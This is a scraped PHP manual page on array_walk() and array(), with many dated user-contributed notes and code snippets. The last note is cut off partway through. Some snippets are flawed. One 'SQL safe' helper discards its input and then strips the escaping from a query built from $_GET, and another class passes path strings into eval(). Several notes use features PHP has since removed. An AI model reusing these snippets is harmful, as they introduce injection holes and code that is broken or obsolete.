Many internal functions (for example strtolower()) will throw a warning if more than the expected number of argument are passed in and are not usable directly as funcname.

Only the values of the array may potentially be changed; its structure cannot be altered, i.e., the programmer cannot add, unset or reorder elements. If the callback does not respect this requirement, the behavior of this function is undefined, and unpredictable.

userdata

If the optional userdata parameter is supplied, it will be passed as the third parameter to the callback funcname.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

If function funcname requires more parameters than given to it, an error of level E_WARNING will be generated each time array_walk() calls funcname. These warnings may be suppressed by prepending the PHP error operator @ to the array_walk() call, or by using error_reporting().

Examples

Example #1 array_walk() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

function test_alter(&$item1, $key, $prefix)
{
    $item1 = "$prefix: $item1";
}

function test_print($item2, $key)
{
    echo "$key. $item2<br />\n";
}

echo "Before ...:\n";
array_walk($fruits, 'test_print');

array_walk($fruits, 'test_alter', 'fruit');
echo "... and after:\n";

array_walk($fruits, 'test_print');
?>

The above example will output:

Before ...:
d. lemon
a. orange
b. banana
c. apple
... and after:
d. fruit: lemon
a. fruit: orange
b. fruit: banana
c. fruit: apple

See Also

  • array_walk_recursive() - Apply a user function recursively to every member of an array
  • iterator_apply() - Call a function for every element in an iterator
  • create_function() - Create an anonymous (lambda-style) function
  • list() - Assign variables as if they were an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • call_user_func_array() - Call a callback with an array of parameters
  • array_map() - Applies the callback to the elements of the given arrays
  • information about the callback type
  • foreach

User Contributed Notes

manuscle at gmail dot com 06-Dec-2011 07:16
example with closures, checking and deleting value in array:

<?php
$array = array('foo' => 'bar', 'baz' => 'bat');

array_walk($array, function($val,$key) use(&$array){
    if ($val == 'bar') {
        unset($array[$key]);
    }
});

var_dump($array);
alex_stanhope at hotmail dot com 26-Oct-2011 01:16
I wanted to walk an array and reverse map it into a second array.  I decided to use array_walk because it should be faster than a reset,next loop or foreach(x as &$y) loop.

<?php
$output = array();
array_walk($input, 'gmapmark_reverse', $output);

function gmapmark_reverse(&$item, $index, &$target) {
    $target[$item['form_key']] = $index;
}
?>

In my debugger I can see that $target is progressively updated, but when array_walk returns, $output is empty.  If however I use a (deprecated) call-by-reference:

<?php
array_walk($input, 'gmapmark_reverse', &$output);
?>

$output is returned correctly.  Unfortunately there's not an easy way to suppress the warnings:

<?php
@array_walk($input, 'gmapmark_reverse', &$output);
?>

doesn't silence them.  I've designed a workaround using a static array:

<?php
$reverse = array();
array_walk($input, 'gmapmark_reverse');
// call function one last time to get target array out, because parameters don't work
$reverse = gmapmark_reverse($reverse);

function gmapmark_reverse(&$item, $index = 0) {
  static $target;
  if (!$target) {
    $target = array();
  }
  if (isset($item['form_key'])) {
    $target[$item['form_key']] = $index;
  }
  return($target);
}
?>
tufanbarisyildirim at gmail dot com 05-Oct-2011 06:15
Filter an array by using key.

<?php
    $product_1 = 'test';
    $product_2 = 'test 2';

    function array_key_filter($array,$callback = 'trim')
    {
        $filtered = array();
        array_walk($array,function ($degeri,$degisken_adi) use (&$filtered,$callback)
        {
            if($callback($degisken_adi))
            {
                $filtered[$degisken_adi] =  $degeri;
            }
        });

        return $filtered;
    }

    #using

    $degiskenler = array_key_filter(get_defined_vars(),function($key)
    {
        return strpos($key,'product_') === 0;
    });

    print_r($degiskenler);
?>
output:

Array
(
    [product_1] => test
    [product_2] => test 2
)
Maxim 11-Jul-2011 12:23
Note that using array_walk with intval is inappropriate.
There are many examples on internet that suggest to use following code to safely escape $_POST arrays of integers:
<?php
array_walk($_POST['something'],'intval'); // does nothing in PHP 5.3.3
?>
It works in _some_ older PHP versions (5.2), but is against specifications. Since intval() does not modify it's arguments, but returns modified result, the code above has no effect on the array and will leave security hole in your website.

You can use following instead:
<?php
$_POST['something'] = array_map(intval,$_POST['something']);
?>
@jfredys 22-Mar-2011 05:07
I was looking for trimming all the elements in an array, I found this as the simplest solution:

<?php
array_walk($ids, create_function('&$val', '$val = trim($val);'));
?>
http://alex.moutonking.com/wordpress 15-Feb-2011 10:49
For completeness one has to mention the possibility of using this function with PHP 5.3 closures:

<?php
$names = array("D\'Artagnan", "Aramis", "Portos");
array_walk($names, function(&$n) {
  $n = stripslashes($n);
});
?>

The trap with array_walk being it doesn't return the array, instead it's modified by reference.
op_adept at yahoo dot co dot uk 02-Dec-2010 03:20
Prefix array values with keys and retrieve as a glued string, the original array remains unchanged. I used this to create some SQL queries from arrays.

<?php

function array_implode_prefix($outer_glue, $arr, $inner_glue, $prefix=false){
    array_walk( $arr , "prefix", array($inner_glue, $prefix) );
    return implode($outer_glue, $arr);
}

function prefix(&$value, $key, array $additional){
    $inner_glue = $additional[0];
    $prefix = isset($additional[1])? $additional[1] : false;
    if($prefix === false) $prefix = $key;

    $value = $prefix.$inner_glue.$value;
}

//Example 1:
$order_by = array("3"=>"ASC", "2"=>"DESC", "7"=>"ASC");
echo array_implode_prefix(",", $order_by, " ");
//Output: 3 ASC,2 DESC,7 ASC

//Example 2:
$columns = array("product_id", "category_id", "name", "description");
$table = "product";

echo array_implode_prefix(", ", $columns, ".", $table);
//Output:product.product_id, product.category_id, product.name, product.description

//Example 3 (function prefix) won't really be used on its own
$pre= "vacation";
$value = "lalaland";
prefix($value, $pre, array("."));
echo $value;

//Output: vacation.lalaland

?>
AskApache 30-Oct-2010 12:27
Here's a handy function that illustrates using an array_walk that uses a create_function as the callback which in turn uses another array_walk with another create_function that outputs the global variables pretty-print style.

Note that by using $g=array() as the first arg for array_walk it isn't necessary to declare the array beforehand.

Other notes:  ob_start, (print), and array_walk all return true on success which is how the if processing works.

Using <?php !!$array; ?> returns true only if sizeof array is greater than 0, just a shortcut for <?php if(sizeof($array)>0);?> ... more in the php manual section on booleans.

The output is meant to be displayed inline on a page so the htmlspecialchars is called on the output.  The output is buffered by ob_start and is then output by echoing the return of ob_get_clean(), which returns the buffer and cleans the buffer.

DEBUG would need to be a defined constant for this to execute, personally I like to
<?php
if($_SERVER['REMOTE_ADDR']=='MYSTATICIPADDRESS') askapache_global_debug();
//or
if($_SERVER['REMOTE_ADDR']=='MYSTATICIPADDRESS') define('DEBUG',TRUE);
?>

<?php

function askapache_global_debug()
{
array_walk(
 $g=array('_GET','_POST','_COOKIE','_SESSION','_ENV','_SERVER'),
   create_function('$n','global $$n;
    if(
      !!$$n
      && ob_start()
      && (print "( $"."$n )\n")
      && array_walk($$n,
       create_function(\'&$v,$k\', \'echo "[$k] => $v\n";\'))
     )
    echo "<pre>".htmlspecialchars(ob_get_clean())."</pre>";'
   )
);
}
if(DEBUG) askapache_global_debug();

?>
matthew at codenaked dot org 02-Sep-2010 11:24
Using lambdas you can create a handy zip function to zip together the keys and values of an array. I extended it to allow you to pass in the "glue" string as the optional userdata parameter. The following example is used to zip an array of email headers:

<?php

/**
 * Zip together the keys and values of an array using the provided glue
 *
 * The values of the array are replaced with the new computed value
 *
 * @param array $data
 * @param string $glue
 */
function zip(&$data, $glue=': ')
{
    if(!is_array($data)) {
        throw new InvalidArgumentException('First parameter must be an array');
    }

    array_walk($data, function(&$value, $key, $joinUsing) {
        $value = $key . $joinUsing . $value;
    }, $glue);
}

$myName = 'Matthew Purdon';
$myEmail = 'matthew@example.com';
$from = "$myName <$myEmail>";

$headers['From'] = $from;
$headers['Reply-To'] = $from;
$headers['Return-path'] = "<$myEmail>";
$headers['X-Mailer'] = "PHP" . phpversion() . "";
$headers['Content-Type'] = 'text/plain; charset="UTF-8"';

zip($headers);

$headers = implode("\n", $headers);
$headers .= "\n";

echo $headers;

/*
From: Matthew Purdon <matthew@example.com>
Reply-To: Matthew Purdon <matthew@example.com>
Return-path: <matthew@example.com>
X-Mailer: PHP5.3.2
Content-Type: text/plain; charset="UTF-8"
*/
?>
arekandrei at yandex dot ru 03-Jan-2010 07:30
You can use lambda function as a second parameter:

<?php
array_walk($myArray, function(&$value, $key){
    // if you want to change array values then "&" before the $value is mandatory.
});
?>

Example (multiply positive values by two):

<?php
$myArray = array(1, 2, 3, 4, 5);

array_walk($myArray, function(&$value, $index){
    if ($value > 0) $value *= 2;
});
?>
rustamabd at gmail dot com 13-Dec-2009 06:32
Don't forget about the array_map() function, it may be easier to use!

Here's how to lower-case all elements in an array:

<?php
    $arr = array_map('strtolower', $arr);
?>
Zigbigidorlu 06-Oct-2009 10:45
I tried this function to create safe SQL arrays when I'm creating query strings from keywords, but I found it to be too bulky for my purposes.  So, instead I created this function:

<?php

 //Create a SQL safe array
 function mysql_safe_array($array)
 {
    $array = array();
    foreach($array as $item)
    {
        $safe = mysql_real_escape_string($item);
        array_push($array,$safe);
        unset($safe);
    }
    return $array;
 }

 //Example usage
 $keywords = explode(" ",$_GET['keywords']);

 $keywords = mysql_safe_array($keywords);

 $query_s = implode("%' AND `field` LIKE '%",$keywords);
 $query = "`description` LIKE '%$query_s%'";
 $query = stripslashes(implode(" ",$query));
?>
erelsgl at gmail dot com 04-Mar-2009 03:40
If you want to unset elements from the callback function, maybe what you really need is array_filter.
jab_creations_-at_-yahoo_-dot-_com 26-Nov-2008 04:08
Unfortunately I spent a lot of time trying to permanently apply the effects of a function to an array using the array_walk function when instead array_map was what I wanted. Here is a very simple though effective example for those who may be getting overly frustrated with this function...

<?php
$fruits = array("Lemony & Fresh","Orange Twist","Apple Juice");

print_r($fruits);
echo '<br />';

function name_base($key)
{
 $name2 = str_replace(" ", "_", $key);
 $name3 = str_replace("&", "and", $name2);
 $name4 = strtolower($name3);
 echo $name4.'<br />';
 return $name4;
}
echo '<br />';

$test = array_map('name_base', $fruits);
$fruits_fixed = $test;
echo '<br />';
print_r($fruits_fixed);
?>
peterzuzek AT gmail DOT com 16-Nov-2008 09:04
I had some problems using this function - it didn't want to apply PHP-defined functions. So I decided to write my own - here it is. I had to use some generic-programming skills, didn't really checked the speed (I think it could be slow)... I believe it could be much better, but I don't know, how - well, I guess multiple array support and recursion would be nice. So?

Prototype:
bool arrayWalk(array &$arry, callback $callback, mixed $params=false)

<?php

    function arrayWalk(&$arry, $callback, $params=false) {
        $P=array(""); // parameters
        $a=""; // arguement string :)

        if($params !== false) { // add parameters
            if(is_array($params)) { // multiple additional parameters
                foreach($params as $par)
                    { $P[]=$par; }
            }
            else // just one additional
                { $P[]=$params; }
        }

        for( // create the arguement string
            $i=0; isset($P[$i]); ++$i
        )
            { $a.='$'.chr($i + 97).', '; } // random argument names

        $a=substr($a, 0, -2); // to get rid of the last comma and two spaces

        $func=create_function($a, 'return '.$callback.'('.$a.');'); // the generic function

        if(is_callable($func)) {
            for( // cycle through array
                $i=0; isset($arry[$i]); ++$i
            ) {
                $P[0]=$arry[$i]; // first element must be the first argument - array value
                $arry[$i] = call_user_func_array($func, $P); // assign the new value obtained by the generic function
            }
        }
        else
            { return false; } // failure - function not callable

        return true; // success!
    } // arrayWalk()

?>

One big problem I've noticed so far - for example, if you wanted to use str_replace on the array, you'd fail - simply because of the arguement order of str_replace, where the string modified is the third arguement, not the first as arrayWalk requires.

So, still some work left...
diyism 30-Oct-2008 11:18
When i pass the third parameter by reference in php5.2.5,
happened this: Warning: Call-time pass-by-reference has been deprecated - argument passed by value...

And to set allow_call_time_pass_reference to true in php.ini won't work, according to http://bugs.php.net/bug.php?id=19699   thus to work around:

<?php
array_walk($arrChnOut, create_function('&$v, $k, $arr_rtn', 'if ($k{0}!="_") {$arr_rtn[0]["_".$v[\'ID\']]=$v; unset($arr_rtn[0][$k]);}'), array(&$arrChnOut));
?>
diyism 22-Oct-2008 04:04
Although the manual warned you not to unset element, but sometimes thus is very useful and work as charm:

<?php
$arrChnOut=array(0=>array('ID' => '13',
                          'ChannelName' => 'Computers'
                         ),
                 1=>array('ID' => '17',
                          'ChannelName' => 'Computers'
                         ),
                 2=>array('ID' => '18',
                          'ChannelName' => 'Computers'
                         ),
                );
array_walk($arrChnOut, create_function('&$v, $k, $arr_rtn', 'if ($k{0}!="_"){$arr_rtn["_".$v[\'ID\']]=$v;unset($arr_rtn[$k]);}'), &$arrChnOut);
var_export($arrChnOut);
?>
example at user dot com 06-Sep-2008 08:10
On array_walk and create_function used within a class scope - Anonymous functions are out of scope.  So, if you want to access $this within the anonymous function, you'd have to pass it through the third parameter...

<?php

// example copies all values into $this where key is the same as property name

array_walk($array, create_function('$v,$k,&$that', 'if (property_exists($that,$k)) {$that->$k = $v;}'), $this);

// or, switch it around and array_walk the object

array_walk($this, create_function('&$v,$k,$array','if (array_key_exists($k,$array)) {$v = $array[$k];}'), $array);

?>
harmor 09-May-2008 12:23
I just wanted a function to trim all the array elements.  Here is a non-recursive version:

<?php
$data = array('       a',' b','    c        d   ');

function _trim(&$value)
{
    $value = trim($value);
}

function array_trim($arr)
{
    array_walk($arr,"_trim");
    return $arr;
}

$arr = array_trim($data);

echo '<pre>';
var_dump($arr);
echo '</pre>';

$single = implode(' ',$arr);

echo '<pre>';
var_dump($single);
echo '</pre>';
?>

Output:

array(3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(10) "c        d"
}

string(14) "a b c        d"
mike >> mike AT debitage.com 06-Mar-2008 12:01
<?php
   /**
    *    class.ArrayTool.php lets you search an array based on key => value pairs
    *
    *   @version 1.0
    *   @ 1-11-2008
    *   @author Mike Volmar
    *
    *    Object for converting between array key and value
    *
    */

class ArrayTool {

    var $mydata = array();
    var $flag = 0;
    var $results;

    function ArrayTool(){

    }

    function tellAll(){
        print_r($this->mydata);
    }

    function setArray($data){
        $this->mydata = $data;
    }

    function getKey($input){
        foreach($this->mydata as $key => $value){
            if(($this->flag == 0)&&($input == $value)){
                $this->results = $key;
                $this->flag = 1;
            }
        }
        $this->flag = 0;
        return $this->results;
    }

    function getValue($input){
        foreach($this->mydata as $key => $value){
            if(($this->flag == 0)&&($input == $key)){
                $this->results = $value;
                $this->flag = 1;
            }
        }
        $this->flag = 0;
        return $this->results;
    }

}

?>
jerk at yoosic dot de 21-Dec-2006 08:05
if you want to modify every value of an multidimensional array use this function used here:

<?php

$array = array (1=>1, 2=> 2, 3 => array(1=>11, 2=>12, 3=>13));
$text = "test";

function modarr(&$array, $text) {
        foreach ($array as $key => $arr) {
                if(is_array($arr)) $res[$key] = modarr(&$arr,$text);
                // modification function here
                else $res[$key] = $arr.$text;
                }
        return $res;
}

$erg = modarr($array, $text);

print_r($erg);

?>

result will be_

<?php
Array ( [1] => 1test [2] => 2test [3] => Array ( [1] => 11test [2] => 12test [3] => 13test ) )
?>
nihaopaul at nihaopaul dot com 06-May-2006 03:59
no sure if this should go under array-walk but it does what i need, it searches a multidimensionial array by using an array to walk it, it either returns a value or an array.

<?php
function walker($walk, $array) {
    if (count($walk) >0) {
        foreach($array as $key => $value) {
            if ($key == $walk[0]) {
                if (is_array($value)) {
                    unset($walk[0]);
                    return walker(array_values($walk), $value);
                } else {
                    if (isset($value)) {
                        if (count($walk) == 1) {
                            return $value;
                        } else {
                            return 0;
                        }
                    } else {
                        return 0;
                    }
                }
            }
        }
        return 0;
    } else {
        return $array;
    }
}
?>
ludvig dot ericson at gmail dot com 21-Nov-2005 06:09
In response to 'ibolmo', this is an extended version of string_walk, allowing to pass userdata (like array_walk) and to have the function edit the string in the same manner as array_walk allows, note now though that you have to pass a variable, since PHP cannot pass string literals by reference (logically).

<?php
function string_walk(&$string, $funcname, $userdata = null) {
    for($i = 0; $i < strlen($string); $i++) {
        # NOTE: PHP's dereference sucks, we have to do this.
        $hack = $string{$i};
        call_user_func($funcname, &$hack, $i, $userdata);
        $string{$i} = $hack;
    }
}

function yourFunc($value, $position) {
    echo $value . ' ';
}

function yourOtherFunc(&$value, $position) {
    $value = str_rot13($value);
}

# NOTE: We now need this ugly $x = hack.
string_walk($x = 'interesting', 'yourFunc');
// Ouput: i n t e r e s t i n g

string_walk($x = 'interesting', 'yourOtherFunc');
echo $x;
// Output: vagrerfgvat
?>

Also note that calling str_rot13() directly on $x would be much faster ;-) just a sample.
ibolmo 17-Nov-2005 07:53
If anyone is interested to implement the array_walk functionality to a string. I've made this handy function. Note that this can be easily extended for any type of purpose. I've used this to convert from a string of bytes to a hex string then back from hex to a byte string.
<?php
function string_walk($string,$funcname)
{
    for($i=0;$i<strlen($string);$i++) {
        call_user_func($funcname,$string{$i});
    }
}

function yourFunc($val)
{
    echo $val.' ';
}

string_walk('interesting','yourFunc');
//ouput: i n t e r e s t i n g
?>
thomas dot hebinck at digionline dot de 31-Oct-2005 06:07
This is a short way to concatenate a string to each element of an array:

$arr=array(1,2,3,4,5,6,7,8,9,0);
$str=' test'; // must not include ' or " ...

array_walk($arr,create_function('&$elem','$elem .= "' . $str . '";'));

var_export($arr);

The output is:
array ( 0 => '1 test', 1 => '2 test', 2 => '3 test', 3 => '4 test', 4 => '5 test', 5 => '6 test', 6 => '7 test', 7 => '8 test', 8 => '9 test', 9 => '0 test', )
Andrzej Martynowicz at gmail dot com 18-Sep-2005 06:03
It can be very useful to pass the third (optional) parameter by reference while modifying it permanently in callback function. This will cause passing modified parameter to next iteration of array_walk(). The exaple below enumerates items in the array:

<?php
function enumerate( &$item1, $key, &$startNum ) {
   $item1 = $startNum++ ." $item1";
}

$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', $num );

print_r( $fruits );

echo '$num is: '. $num ."\n";
?>

This outputs:

Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 1

Notice at the last line of output that outside of array_walk() the $num parameter has initial value of 1. This is because array_walk() does not take the third parameter by reference.. so what if we pass the reference as the optional parameter..

<?php
$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', &$num ); // reference here

print_r( $fruits );

echo '$num is: '. $num ."\n";
echo "we've got ". ($num - 1) ." fruits in the basket!";
?>

This outputs:
Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 5
we've got 4 fruits in the basket!

Now $num has changed so we are able to count the items (without calling count() unnecessarily).

As a conclusion, using references with array_walk() can be powerful toy but this should be done carefully since modifying third parameter outside the array_walk() is not always what we want.
webmaster at tmproductionz dot com 18-Jul-2005 12:54
to the note right before this one.  that will only trim leading and trailing white space. if you want to trim white space inside the string (ie 'hello     world' to 'hello world') you should use this:

$val = preg_replace ( "/\s\s+/" , " " , $val ) ;

this will also trim leading and trailing white space.
el_porno at web dot de 27-May-2005 03:03
You want to get rid of the whitespaces users add in your form fields...?
Simply use...:

class SomeVeryImportantClass
{
...
    public function mungeFormData(&$data)
    {
        array_walk($data, array($this, 'munge'));
    }

    private function munge(&$value, &$key)
    {
        if(is_array($value))
        {
            $this->mungeFormData($value);
        }
        else
        {
            $value = trim($value);
        }
    }
...
}

so...
$obj = new SomeVeryImportantClass;
$obj->mungeFormData($_POST);
___
eNc
caliban at darklock dot com 23-May-2005 10:33
> I believe this relies on the deprecated runtime
> pass-by-reference mechanism

The array() keyword is a language construct, not a function, so I don't think this is applicable.
Enlightened One 07-Apr-2005 11:17
Beware that "array ($this, method)" construct. If you're wanting to alter members of the "$this" object inside "method" you should construct the callback like this:

  $callback[] = &$this;
  $callback[] = method;
  array_walk ($input, $callback);

Creating your callback using the array() method as suggested by "appletalk" results in a copy of $this being passed to method, not the original object, therefor any changes made to the object by method will be lost when array_walk() returns. While you could construct the callback with "array(&$this, method)", I believe this relies on the deprecated runtime pass-by-reference mechanism which may be removed in future releases of PHP. Better to not create a dependence on that feature now than having to track it down and fix it in the future.
Hayley Watson 16-Jan-2005 06:27
As well as being able to pass the array the callback will be working on by reference, one can pass the optional userdata parameters by reference also:
<?php

function surprise($x,$key,$xs)
{
    //$key is unused here.
    $x.='!';
    array_push($xs,$x);
}

$array1 = array('this','that','the other');
$array2 = array();

array_walk($array1,'surprise',&$array2);

print_r($array1);
print_r($array2);
?>
Of course, that precise example would be better handled by array_map, but the principle is there.
memandeemail at gmail dot com 11-Nov-2004 05:24
If you are using array_walk on a class, dont will work

so ... try this on your own class:

class your_own_class {
    /**
    * @return void
    * @param array $input
    * @param string $funcname
    * @desc A little workaround, do the same thing.
    */
    function array_walk($input, $funcname) {
        foreach ($input as $key => $value) $this->$funcname($value, $key);
    }
}
04-Nov-2004 11:22
If array_walk_recursive() is not present and you want to apply htmlentities() on each array element you can use this:

<?php
function array_htmlentities(&$elem)
{
  if (!is_array($elem))
  {
    $elem=htmlentities($elem);
  }
  else
  {
    foreach ($elem as $key=>$value)
      $elem[$key]=array_htmlentities($value);
  }
  return $elem;
} // array_htmlentities()
?>

If you want to output an array with print_r() and you have html in it this function is very helpful.
lgaga dot dont dot spam at muszaki dot info 16-Oct-2004 07:31
Behaviour like array_walk_recursive() can be achieved in php <=5 by a callback function to array_walk() similar to this:

function walkcallback(&$val,$key) {
    if (is_array($val)) array_walk($val,'walkcallback',$new);
    else {
        // do what you want with $val and $key recursively
    }
}
bisqwit at iki dot fi 03-Sep-2004 04:54
It's worth nothing that array_walk can not be used to change keys in the array.
The function may be defined as (&$value, $key) but not (&$value, &$key).
Even though PHP does not complain/warn, it does not modify the key.
paul at heliosville dot com 03-Sep-2004 12:13
one rather important note that was lost in the Great PHP Doc Note Purge of '04 is that you can call methods using array_walk(). Let's assume that we have a class named 'Search', in which there is a method called 'convertKeywords'. Here's how you would call that convertKeywords method from inside the class:

    array_walk($keywords, array($this, 'convertKeywords'));

Notice that, instead of giving a string as the second argument, you give an array with two items: the variable that holds the class (in this case, $this), and the method to call. Here's what it would look like if you were to call convertKeywords from an already-instantiated class:

    $search = new Search;
    array_walk($keywords, array($search, 'convertKeywords'));
Eierkoek 03-Sep-2004 06:46
normaly the $_GET array will add slashes to the array values. To remove all slashes in this array, i created the folowing code

  set_magic_quotes_runtime (0);
  function StripAllSlashes (&$ArrayGET, $Value)
  {
    if (is_array ($ArrayGET)) array_walk ($ArrayGET, "StripAllSlashes");
    else $ArrayGET = stripslashes ($ArrayGET);
  }
  if (isset ($_GET) && get_magic_quotes_gpc ()) array_walk ($_GET, "StripAllSlashes");

I hope this code was usefull,

Eierkoek
array_walk_recursive
array
Array Functions


Create an array

array_walk
arsort
Array Functions
PHP Manual

array

(PHP 4, PHP 5)

array — Create an array

Description

array array ([ mixed $... ] )

Creates an array. Read the section on the array type for more information on what an array is.

Parameters

...

Syntax "index => values", separated by commas, define index and values. index may be of type string or integer. When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1. Note that when two identical index are defined, the last overwrite the first.

Having a trailing comma after the last defined array entry, while unusual, is a valid syntax.

Return Values

Returns an array of the parameters. The parameters can be given an index with the => operator. Read the section on the array type for more information on what an array is.

Examples

The following example demonstrates how to create a two-dimensional array, how to specify keys for associative arrays, and how to skip-and-continue numeric indices in normal arrays.

Example #1 array() example

<?php
$fruits = array (
    "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("first", 5 => "second", "third")
);
?>

Example #2 Automatic index with array()

<?php
$array = array(1, 1, 1, 1,  1, 8 => 1,  4 => 1, 19, 3 => 13);
print_r($array);
?>

The above example will output:

Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 13
    [4] => 1
    [8] => 1
    [9] => 19
)

Note that index '3' is defined twice, and keep its final value of 13. Index 4 is defined after index 8, and next generated index (value 19) is 9, since biggest index was 8.

This example creates a 1-based array.

Example #3 1-based index with array()

<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

The above example will output:

Array
(
    [1] => January
    [2] => February
    [3] => March
)

As in Perl, you can access a value from the array inside double quotes. However, with PHP you'll need to enclose your array between curly braces.

Example #4 Accessing an array inside double quotes

<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>

Notes

Note:

array() is a language construct used to represent literal arrays, and not a regular function.

See Also

  • array_pad() - Pad array to the specified length with a value
  • list() - Assign variables as if they were an array
  • count() - Count all elements in an array, or something in an object
  • range() - Create an array containing a range of elements
  • foreach
  • The array type

User Contributed Notes

r0h4rd at gmail dot com 06-Feb-2011 02:59
"Quick and dirty" class to get an offset of multidimensional array by given path (sorry, that without comments).

<?php

    class ArrayAsPathException extends Exception {}

    class ArrayAsPath {
        protected
            $data = array(),
            $separator = '.';

        public function __construct (array $data = array()) {
            $this->data = $data;
        }

        public function set ($value, $path = null) {
            if (!isset($path)) {
                $this->data = $value;
            }

            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            $code = '';
            $pices = '[\''.$pathtoken.'\']';
            while ($pathtoken !== false) {
                if (($pathtoken = strtok($separator)) !== false) {
                    $code .= 'if (!isset($this->data'.$pices.')) $this->data'.$pices.' = array(); ';
                    $pices .= '[\''.$pathtoken.'\']';
                } else {
                    $code .= 'return $this->data'.$pices.' = $value;';
                }
            }

            return eval($code);
        }

        public function get ($path = '', $default = null) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    if (isset($default)) {
                        return $default;
                    }

                    throw new ArrayAsPathException ('Can\'t find "'.$pathtoken.'" in "'.$path.'"');
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return $result ? $result : $default;
        }

        public function has ($path) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    return false;
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return true;
        }

        public function setSepatator ($separator) {
            $this->separator = $separator;
        }

        public function getSeparator ($separator) {
            return $this->separator;
        }
    }

?>

Code:
<?php

    $params = new ArrayAsPath;
    $params->set(array(
        'foo' => array(
            'bar' => array(
                'item' => 'Value'
            )
        )
    ));

    try {
        $params->set('test', 'foo.bar.far.new');
        printf(
            'Array:<pre>%s</pre>
            foo.bar.item:<pre>%s</pre>
            foo.bar.far:<pre>%s</pre>
            foo.bar.far.new<pre>%s</pre>',
            var_export($params->get(), true),
            var_export($params->get('foo.bar.item'), true),
            var_export($params->get('foo.bar.far'), true),
            var_export($params->get('foo.bar.far.new'), true)
        );
    } catch (ArrayAsPathException $e) {
        echo 'Oops! It seems that something is wrong. '.$e->getMessage();
    }

?>

Will display:
Array:
array (
  'foo' =>
  array (
    'bar' =>
    array (
      'item' => 'Value',
      'far' =>
      array (
        'new' => 'test',
      ),
    ),
  ),
)

foo.bar.item:
'Value'

foo.bar.far:
array (
  'new' => 'test',
)

foo.bar.far.new:
'test'
contact at dot REMOVETHIS dot erikmaas dot com 21-Dec-2010 01:17
A array_peek function as no excists yet:
<?php
function array_peek($array) {
    return $array[(count($array)-1)];
}
?>
eugene at ultimatecms dot co dot za 03-Mar-2010 06:29
This is a useful way to get foreign key variables from a specific sql table.
This function can be used to include all relevant data from all relating tables:

<?php
function get_string_between($string, $start, $end){
         $string = " ".$string;
         $ini = strpos($string,$start);
         if($ini == 0)
                return $tbl;
         $ini += strlen($start);
         $len = strpos($string,$end,$ini) - $ini;
         return substr($string,$ini,$len);
}

function get_foreign_keys($tbl) {
        $query = query_getrow("SHOW CREATE TABLE ".mysql_escape_string($tbl));

        $dat = explode('CONSTRAINT',$query[1]);
        foreach($dat as $d => $a) {
                if(strpos($a,"FOREIGN KEY"))
                $data['keys'][] = array($tbl,get_string_between($a,"` FOREIGN KEY (`","`) REFERENCES"));
        }

        foreach($dat as $d => $a) {
                if(strpos($a,"REFERENCE"))
                $data['references'][] = explode('` (`',get_string_between($a,"REFERENCES `","`) ON"));
        }
        return $data;
}

//Example code:

        $data = get_foreign_keys('task_table');
        echo '<pre>';
        print_r($data);
        echo '</pre>';

?>

// $query[1] outputs:

CREATE TABLE `task_table` (
  `task_id` int(64) NOT NULL auto_increment,
  `ticket_id` int(64) NOT NULL,
  `task_type` varchar(64) NOT NULL,
  `comment` text,
  `assigned_to` int(11) default NULL,
  `dependant` int(64) default NULL,
  `resolved` int(1) default NULL,
  PRIMARY KEY  (`task_id`),
  KEY `ticket_id` (`ticket_id`,`dependant`),
  KEY `assigned_to` (`assigned_to`),
  KEY `task_dependant` (`dependant`),
  CONSTRAINT `task_table_ibfk_1` FOREIGN KEY (`ticket_id`) REFERENCES `tickets_table` (`ticket_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_2` FOREIGN KEY (`assigned_to`) REFERENCES `contact_table` (`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_3` FOREIGN KEY (`dependant`) REFERENCES `task_table` (`task_id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=latin1

// $data outputs:
Array (
    [keys] => Array
        (
            [0] => Array
                (
                    [0] => task_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => task_table
                    [1] => assigned_to
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => dependant
                )
        )

    [references] => Array
        (
            [0] => Array
                (
                    [0] => tickets_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => contact_table
                    [1] => contact_id
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => task_id
                )
        )
)
mail at leonardomartinez dot com 10-Oct-2009 01:39
<?php
function array_two_key_swap( $multidimensional_array ) {

    /*
        Writen by: Leonardo Martinez

        Created: 10-10-2009
        Modified: 10-15-2009

        This function takes a two dimensional array[x][y], swaps the first
        key with the second key so the values can be referenced using array[y][x].

        Example:
                    samplearray['directiory'][0] = "myicons";
                    samplearray['directiory'][1] = "myicons";
                    samplearray['directiory'][2] = "myiconsold";
